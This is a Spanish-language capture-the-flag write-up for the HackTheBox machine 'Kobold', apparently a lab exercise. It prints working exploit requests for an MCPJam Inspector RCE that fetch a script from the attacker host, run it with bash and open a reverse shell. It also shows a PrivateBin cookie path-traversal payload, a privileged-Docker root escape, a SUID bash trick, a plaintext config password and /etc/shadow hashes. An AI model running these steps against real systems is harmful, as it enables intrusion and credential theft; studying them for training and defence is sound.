En Kobold se enumeraron subdominios donde se identifico software/aplicaciones que, basadas en sus versiones se descubrieron vulnerabilidades. La primera, MCPJam Inspector con una del tipo RCE que permitio el acceso inicial. Una segunda en PrivateBin del tipo LFI, permitio la lectura de la configuracion para descubrir credenciales. Esta ultima permitio acceso a Arcane para escalar privilegios con un contenedor privilegiado de Docker.

Nombre	Kobold
OS	Linux
Puntos	20
Dificultad	Easy
Fecha de Salida	2026-03-21
IP	10.129.12.55
Maker	sau123
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [216, 250, 597, 234, 124, 48, 27, 15, 1, 13], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


# Nmap 7.95 scan initiated Sun Mar 22 01:41:13 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,3552 -sV -sC -oN nmap_scan 10.129.12.55
Nmap scan report for 10.129.12.55
Host is up (0.070s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
3552/tcp open  http     Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 22 Mar 2026 07:40:15 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|     <link rel="modu
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 22 Mar 2026 07:40:16 GMT
|     <!doctype html>
|     <html lang="%lang%">
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     <meta http-equiv="Pragma" content="no-cache" />
|     <meta http-equiv="Expires" content="0" />
|     <link rel="icon" href="/api/app-images/favicon" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     <link rel="manifest" href="/app.webmanifest" />
|     <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    <link rel="modu
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3552-TCP:V=7.95%I=7%D=3/22%Time=69BF9D1E%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2022\x20
SF:Mar\x202026\x2007:40:15\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
SF:l=\"modu")%r(HTTPOptions,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sun,\x2022\x20
SF:Mar\x202026\x2007:40:16\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
SF:l=\"modu");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 22 01:41:45 2026 -- 1 IP address (1 host up) scanned in 32.12 seconds

Agregamos a nuestro archivo /etc/hosts el dominio kobold.htb.

Web Site - TCP 443

El puerto 80 nos redirige al puerto 443 (https).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


❯ curl -sI kobold.htb
HTTP/1.1 301 Moved Permanently
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 22 Mar 2026 07:43:15 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://kobold.htb/

❯

El sitio describe un enfoque de administracion de servicios, entre otros.

Directory Brute Forcing

feroxbuster unicamente muestra index.html.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


❯ feroxbuster -k -u https://kobold.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://kobold.htb/
 🚩  In-Scope Url          │ kobold.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      186l      380w     3812c https://kobold.htb/
200      GET      186l      380w     3812c https://kobold.htb/index.html
❯

Subdomain Discovery

ffuf muestra dos subdominios bin y mcp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.kobold.htb" -k -u https://kobold.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 244ms]
mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 180ms]
:: Progress: [151265/151265] :: Job [1/1] :: 573 req/sec :: Duration: [0:04:30] :: Errors: 0 ::
❯

bin.kobold.htb

En el subdmonio bin corre PrivateBin en su version 2.0.2.

mcp.kobold.htb

En mcp corre MCPJam - Inspector en su version 1.4.2.

TCP 3552

En este puerto encontramos arcane en su version 1.13.0.

Vulnerabilities

Verificamos las versiones de PrivateBin, MCPJam Inspector y Arcane por posibles vulnerabilidades logrando identificar dos.

CVE-2025-64714

PrivateBin en su version 2.0.2, tiene una vulnerabilidad tipo LFI (CVE-2025-64714) a traves de la cookie template. En BurpSuite editamos la cookie apuntando al archivo shortenerproxy.php, este muestra el contenido.

CVE-2026-23744

MCPJam - Inspector version 1.4.2, tiene un RCE (CVE-2026-23744) en el endpoint de su api /api/mcp/connect. Ejecutamos el PoC, para realizar una solicitud con curl a nuestro servidor http.

1
2
3


❯ curl -k https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"curl\",\"args\":[\"-s\", \"10.10.15.242\"],\"env\":{}},\"serverId\":\"mytest\"}"
{"success":false,"error":"Connection failed for server mytest: MCP error -32000: Connection closed","details":"MCP error -32000: Connection closed"}
❯

La solicitud se muestra en el servidor, por lo que el comando fue ejecutado.

1
2
3
4


❯ httphere .
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.12.55 - - [22/Mar/2026 01:58:28] "GET / HTTP/1.1" 200 -

User - Ben

MCPJam

Con la vulnerabilidad de MCPJam (CVE-2026-23744) ejecutamos una shell inversa con shells. Con curl guardamos nuestro archivo de shells en /tmp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


POST /api/mcp/connect HTTP/1.1
Host: mcp.kobold.htb
User-Agent: curl/8.15.0
Accept: */*
Content-Type: application/json
Content-Length: 140
Connection: keep-alive

{
   "serverConfig":{
      "command":"curl",
      "args":[
         "-s",
         "10.10.15.242:8000/10.10.15.242:1336",
         "-o",
         "/tmp/out.sh"
      ],
      "env":{
         
      }
   },
   "serverId":"mytest"
}

Para luego realizar la ejecucion del archivo con bash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


POST /api/mcp/connect HTTP/1.1
Host: mcp.kobold.htb
User-Agent: curl/8.15.0
Accept: */*
Content-Type: application/json
Content-Length: 89
Connection: keep-alive

{
   "serverConfig":{
      "command":"bash",
      "args":[
         "/tmp/out.sh"
      ],
      "env":{
         
      }
   },
   "serverId":"mytest"
}

Para lograr el acceso como ben y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.15.242] from kobold.htb [10.129.12.55] 38308
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
ben
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
/usr/local/lib/node_modules/@mcpjam/inspector
$ cd
$ ls
user.txt
$ cat user.txt
e102e528ef622761431dd7251ed39f87
$

File Enumeration

Localmente encontramos dos usuarios registrados.

1
2
3
4
5


$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ben:x:1001:1001::/home/ben:/bin/bash
alice:x:1002:1002::/home/alice:/bin/bash
$

En la configuracion de nginx vemos el dominio y los dos subdominios.

1
2
3
4
5
6
7
8


ben@kobold:/etc/nginx/sites-enabled$ ls -lah
total 16K
drwxr-xr-x 2 root root 4.0K Mar 15 21:23 .
drwxr-xr-x 8 root root 4.0K Mar 15 21:23 ..
lrwxrwxrwx 1 root root   34 Mar 15 14:31 default -> /etc/nginx/sites-available/default
-rw-r--r-- 1 root root  662 Mar 15 15:42 mcpjam
-rw-r--r-- 1 root root  670 Mar 15 14:35 privatebin
ben@kobold:/etc/nginx/sites-enabled$

Los tres utilizan el mismo certificado almacenado en /privatebin-data/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


ben@kobold:/etc/nginx/sites-enabled$ cat default
cat default
server {
    listen 80;
    server_name kobold.htb;
    return 301 https://kobold.htb$request_uri;
}

server {
    listen 443 ssl;
    server_name kobold.htb;

    ssl_certificate /privatebin-data/certs/cert.pem;
    ssl_certificate_key /privatebin-data/certs/key.pem;

    root /var/www/html;
    index index.html index.htm index.php;

    access_log /var/log/nginx/access.log combined;
    error_log /var/log/nginx/error.log;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    location ~ \.php$ {
        include fastcgi_params;
        fastcgi_pass unix:/run/php/php8.3-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

    if ($host != kobold.htb) {
        rewrite ^ https://kobold.htb/;
    }
}
ben@kobold:/etc/nginx/sites-enabled$ cat mcpjam
server {
    listen 80;
    server_name mcp.kobold.htb;
    return 301 https://mcp.kobold.htb$request_uri;
}

server {
    listen 443 ssl;
    server_name mcp.kobold.htb;

    ssl_certificate /privatebin-data/certs/cert.pem;
    ssl_certificate_key /privatebin-data/certs/key.pem;

    access_log /var/log/nginx/mcpjam_access.log combined;
    error_log /var/log/nginx/mcpjam_error.log;

    location / {
        proxy_pass http://127.0.0.1:6274;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}
ben@kobold:/etc/nginx/sites-enabled$ cat privatebin
server {
    listen 80;
    server_name bin.kobold.htb;
    return 301 https://bin.kobold.htb$request_uri;
}

server {
    listen 443 ssl;
    server_name bin.kobold.htb;

    ssl_certificate /privatebin-data/certs/cert.pem;
    ssl_certificate_key /privatebin-data/certs/key.pem;

    access_log /var/log/nginx/privatebin_access.log combined;
    error_log /var/log/nginx/privatebin_error.log;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}
ben@kobold:/etc/nginx/sites-enabled$

En este directorio, ben, como miembro del grupo operator tiene acceso a certs/ y data/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


ben@kobold:/privatebin-data$ ls -lah
total 20K
drwxrwx---  5 root operator 4.0K Mar 15 21:23 .
drwxr-xr-x 22 root root     4.0K Mar 16 20:57 ..
drwxrwx---  2 root operator 4.0K Mar 15 21:23 certs
drwxr-x---  2 root       82 4.0K Mar 15 21:23 cfg
drwxrwxrwx  6 root operator 4.0K Mar 22 08:11 data
ben@kobold:/privatebin-data$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:/privatebin-data$

PrivateBin

En la documentacion de docker para PrivateBin se indica el directorio privatebin-data en el host y /srv/data en el contenedor. Si este fuera el caso, el archivo hello.php seria ejecutado con la vulnerabilidad LFI (CVE-2025-64714) mencionada anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


ben@kobold:/privatebin-data/data$ ls -lah
total 44K
drwxrwxrwx 7 root   operator 4.0K Mar 22 09:14 .
drwxrwx--- 5 root   operator 4.0K Mar 15 21:23 ..
-rwxrwxrwx 1 root   operator   19 Feb 16 08:29 .htaccess
drwx------ 3 nobody       82 4.0K Mar 15 21:23 12
drwx------ 3 nobody       82 4.0K Mar 22 09:07 91
drwxrwxrwx 3 root   operator 4.0K Mar 15 21:23 bd
drwx------ 3 root   operator 4.0K Mar 15 21:23 e3
drwx------ 3 nobody       82 4.0K Mar 22 08:11 ef
-rwxrwxrwx 1 root   operator   47 Mar 22 09:07 purge_limiter.php
-rwxrwxrwx 1 root   operator  522 Feb 16 08:29 salt.php
-rw-r----- 1 root   operator  132 Feb 16 08:34 traffic_limiter.php
ben@kobold:/privatebin-data/data$ echo '<?php echo("hello");' > hello.php
ben@kobold:/privatebin-data/data$ cat hello.php
<?php echo("hello");
ben@kobold:/privatebin-data/data$

Observamos que el codigo en el archivo fue ejecutado.

Aunque, al intentar ejecutar funciones como system(), causan error 500.

1

echo '<?php system("whoami");' > cmd.php

Intentamos la lectura del archivo de configuracion.

1
2
3
4
5


ben@kobold:/privatebin-data/data$ echo "<?php file_put_contents('/srv/data/conf.txt', file_get_contents('/srv/cfg/conf.php')); ?>" > read_conf.php; chmod 777 read_conf.php
ben@kobold:/privatebin-data/data$ cat read_conf.php
<?php file_put_contents('/srv/data/conf.txt', file_get_contents('/srv/cfg/conf.php')); ?>
ben@kobold:/privatebin-data/data$
 

Ejecutamos el archivo a traves de la cookie.

1

Cookie: template=../../../../../../../srv/data/read_conf;

Se creo el archivo con la configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


ben@kobold:/privatebin-data/data$ ls -lah
total 1.6M
drwxrwxrwx 11 root   operator 4.0K Mar 22 11:25 .
drwxrwx---  5 root   operator 4.0K Mar 15 21:23 ..
-rwxrwxrwx  1 root   operator   19 Feb 16 08:29 .htaccess
drwx------  3 nobody       82 4.0K Mar 15 21:23 12
drwx------  3 nobody       82 4.0K Mar 22 09:36 7e
drwx------  3 nobody       82 4.0K Mar 22 09:31 80
drwx------  3 nobody       82 4.0K Mar 22 09:07 91
drwx------  3 nobody       82 4.0K Mar 22 10:39 97
drwxrwxrwx  3 root   operator 4.0K Mar 15 21:23 bd
-rw-r--r--  1 nobody       82  26K Mar 22 11:25 conf.txt
drwx------  3 nobody       82 4.0K Mar 22 09:29 e1
drwx------  3 root   operator 4.0K Mar 15 21:23 e3
drwx------  3 nobody       82 4.0K Mar 22 08:11 ef
-rw-r--r--  1 ben    ben        21 Mar 22 09:20 hello.php
-rwxrwxrwx  1 root   operator   47 Mar 22 10:39 purge_limiter.php
-rwxrwxrwx  1 ben    ben        90 Mar 22 11:24 read_conf.php
-rwxrwxrwx  1 root   operator  522 Feb 16 08:29 salt.php
-rw-r-----  1 root   operator  132 Feb 16 08:34 traffic_limiter.php
ben@kobold:/privatebin-data/data$

En este encontramos un par de credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


ben@kobold:/privatebin-data/data$ cat conf.txt| grep -v ";" | grep -v '^$'
[main]
discussion = true
opendiscussion = false
password = true
# ... skip ...
availabletemplates[] = "bootstrap-compact-page"
# ... skip ...
[model_options]
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
ben@kobold:/privatebin-data/data$

Privesc via Arcane

El usuario privatebin no es aceptado con la contrasena, pero arcane si, nos dio acceso al dashboard.

Se listan los contenedores en ejecucion. Tambien, es posible crear nuevos.

Creamos un nuevo contenedor privilegiado especificando:

Command: /bin/sh
User: root
Volumes: /:/mnt
Security: Privileged mode

Se lista el nuevo contenedor.

A traves de la shell interactiva logramos acceso root en el contenedor y en la raiz del host en /mnt, logrando la lectura de root.txt.

Shell

Para obtener una shell directa realizamos la copia de bash dandole permisos SUID.

1
2
3
4
5
6
7


sh-5.1# pwd     
/mnt
sh-5.1# ls bin/bash
bin/bash
sh-5.1# cp bin/bash home/ben/sh   
sh-5.1# bin/chmod u+s home/ben/sh
sh-5.1#

Con ben ejecutamos la copia como privilegiada obteniendo acceso root.

1
2
3
4
5
6
7


ben@kobold:~$ ls
sh  user.txt
ben@kobold:~$ ./sh -p
sh-5.2# whoami;id
root
uid=1001(ben) gid=1001(ben) euid=0(root) groups=1001(ben),37(operator)
sh-5.2#

Loot

Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


# cat /etc/shadow
root:$y$j9T$Y2.8/1PJQyHeLyWzEs47k/$HBHuW.lG1nwRHlGBpVaM/a3sFHUcij5Gj3loTXPD.Z4:20500:0:99999:7:::
daemon:*:20135:0:99999:7:::
bin:*:20135:0:99999:7:::
sys:*:20135:0:99999:7:::
sync:*:20135:0:99999:7:::
games:*:20135:0:99999:7:::
man:*:20135:0:99999:7:::
lp:*:20135:0:99999:7:::
mail:*:20135:0:99999:7:::
news:*:20135:0:99999:7:::
uucp:*:20135:0:99999:7:::
proxy:*:20135:0:99999:7:::
www-data:*:20135:0:99999:7:::
backup:*:20135:0:99999:7:::
list:*:20135:0:99999:7:::
irc:*:20135:0:99999:7:::
_apt:*:20135:0:99999:7:::
nobody:*:20135:0:99999:7:::
systemd-network:!*:20135::::::
systemd-timesync:!*:20135::::::
messagebus:!:20135::::::
systemd-resolve:!*:20135::::::
pollinate:!:20135::::::
polkitd:!*:20135::::::
syslog:!:20135::::::
uuidd:!:20135::::::
tcpdump:!:20135::::::
tss:!:20135::::::
landscape:!:20135::::::
fwupd-refresh:!*:20135::::::
usbmux:!:20140::::::
sshd:!:20140::::::
ben:$y$j9T$EzqiYW7RXL4Cig/dfKneT/$i0sOaXFxXiljmyJOTdffaHdRohgbyGVvReTYIOByLc5:20499:0:99999:7:::
dnsmasq:!:20499::::::
alice:$y$j9T$ntNq4JVBAI64c2Nl8qY9I.$AOCzydYr01o8CPr2H7RR9bKCJe0NZ4IS1Ap2TDvgbM6:20499:0:99999:7:::
_laurel:!:20527::::::
#

HackTheBox - Kobold

Recon

nmap

Web Site - TCP 443

Directory Brute Forcing

Subdomain Discovery

bin.kobold.htb

mcp.kobold.htb

TCP 3552

Vulnerabilities

CVE-2025-64714

CVE-2026-23744

User - Ben

MCPJam

File Enumeration

PrivateBin

Privesc via Arcane

Shell

Loot

Hashes

HackTheBox - Kobold

HackTheBox - Kobold

Recon

nmap

Web Site - TCP 443

Directory Brute Forcing

Subdomain Discovery

bin.kobold.htb

mcp.kobold.htb

TCP 3552

Vulnerabilities

CVE-2025-64714

CVE-2026-23744

User - Ben

MCPJam

File Enumeration

PrivateBin

Privesc via Arcane

Shell

Loot

Hashes

Read other posts

HackTheBox - Kobold